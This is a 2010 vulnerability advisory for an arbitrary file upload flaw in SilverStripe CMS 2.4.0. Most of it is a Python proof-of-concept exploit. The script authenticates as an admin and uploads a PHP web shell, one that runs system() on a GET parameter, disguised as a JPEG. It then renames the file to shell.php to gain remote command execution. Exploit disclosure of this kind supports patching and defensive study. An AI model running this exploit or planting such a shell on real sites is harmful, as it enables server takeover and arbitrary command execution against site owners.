#============================================================================================================#
# _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ #
# /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ #
# ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) #
# /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ #
# \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ #
# )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ #
# \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ #
# #
#============================================================================================================#
# #
# Vulnerability............Arbitrary Upload #
# Software.................SilverStripe CMS 2.4.0 #
# Download.................http://www.silverstripe.com/ #
# Date.....................6/6/10 #
# #
#============================================================================================================#
# #
# Site.....................http://cross-site-scripting.blogspot.com/ #
# Email....................john.leitch5@gmail.com #
# #
#============================================================================================================#
# #
# ##Description## #
# #
# An arbitrary upload vulnerability in SilverStripe CMS 2.4.0 can be exploited to upload a PHP shell. A user #
# with File & Images permission is necessary to exploit this vulnerability. #
# #
# #
# ##Proof of Concept## #
# #
import sys, socket, re
host = '192.168.1.4'
path = '/silverstripe'
username = 'admin'
password = 'Password1'
port = 80
def send_request(request):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(8)
s.send(request)
resp = ''
while 1:
r = s.recv(8192)
if not r: break
resp += r
if r[:15] == 'HTTP/1.1 302 OK': break
s.close()
return resp
def upload_shell():
print 'authenticating'
content = 'AuthenticationMethod=MemberAuthenticator&Email=' + username + '&Password='+ password + '&action_dologin=Log+in'
header = 'POST http://' + host + path + '/Security/LoginForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'\r\n'
resp = send_request(header + content)
print 'uploading shell'
match = re.findall(u'Set-Cookie:\s([^\r\n]+)', resp)
for m in match:
if m[:9] == 'PHPSESSID':
cookie = m
content = '------x\r\n'\
'Content-Disposition: form-data; name="ID"\r\n'\
'\r\n'\
'0\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="FolderID"\r\n'\
'\r\n'\
'0\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="action_doUpload"\r\n'\
'\r\n'\
'1\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="Files[1]"; filename=""\r\n'\
'\r\n'\
'\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="Files[0]"; filename="shell.jpg"\r\n'\
'Content-Type: image/jpeg\r\n'\
'\r\n'\
'<?php echo "<pre>" + system($_GET["CMD"]) + "</pre>"; ?>\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="MAX_FILE_SIZE"\r\n'\
'\r\n'\
'\r\n'\
'------x\r\n'\
'Content-Disposition: form-data; name="action_upload"\r\n'\
'\r\n'\
'Upload Files Listed Below\r\n'\
'------x--\r\n'\
header = 'POST http://' + host + path + '/admin/assets/UploadForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Proxy-Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: multipart/form-data; boundary=----x\r\n'\
'Accept: text/html\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'Cookie: ' + cookie + '\r\n'\
'\r\n'
resp = send_request(header + content)
print 'grabbing ids'
file_id = re.search(u'/\*\sIDs:\s(\d+)\s\*/', resp).group(1)
file_name = re.search(u'/\*\sNames:\s([^\*]+)\s\*/', resp).group(1)
resp = send_request('GET http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1 HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Cookie: ' + cookie + '\r\n\r\n')
print 'renaming shell'
security_id = re.search(u'name="SecurityID" value="(\d+)"', resp).group(1)
owner_id = re.search(u'option selected="selected" value="(\d+)"', resp).group(1)
content = 'Title=' + file_name + '&Name=shell.php&FileType=JPEG+image+-+good+for+photos&Size=56+bytes&OwnerID=' + owner_id + '&Dimensions=x&ctf%5BchildID%5D=' + file_id + '&ctf%5BClassName%5D=File&SecurityID=' + security_id + '&action_saveComplexTableField=Save'
header = 'POST http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/DetailForm HTTP/1.1\r\n'\
'Host: ' + host + '\r\n'\
'Proxy-Connection: keep-alive\r\n'\
'User-Agent: x\r\n'\
'Referer: http://' + host + path + '/admin/assets/EditForm/field/Files/item/' + file_id + '/edit?ajax=1\r\n'\
'Content-Length: ' + str(len(content)) + '\r\n'\
'Cache-Control: max-age=0\r\n'\
'Origin: http://' + host + '\r\n'\
'Content-Type: application/x-www-form-urlencoded\r\n'\
'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'\
'Accept-Encoding: gzip,deflate,sdch\r\n'\
'Accept-Language: en-US,en;q=0.8\r\n'\
'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'\
'Cookie: ' + cookie + '; PastMember=1\r\n'\
'\r\n'
resp = send_request(header + content)
print 'shell located at http://' + host + path + '/assets/shell.php'
upload_shell()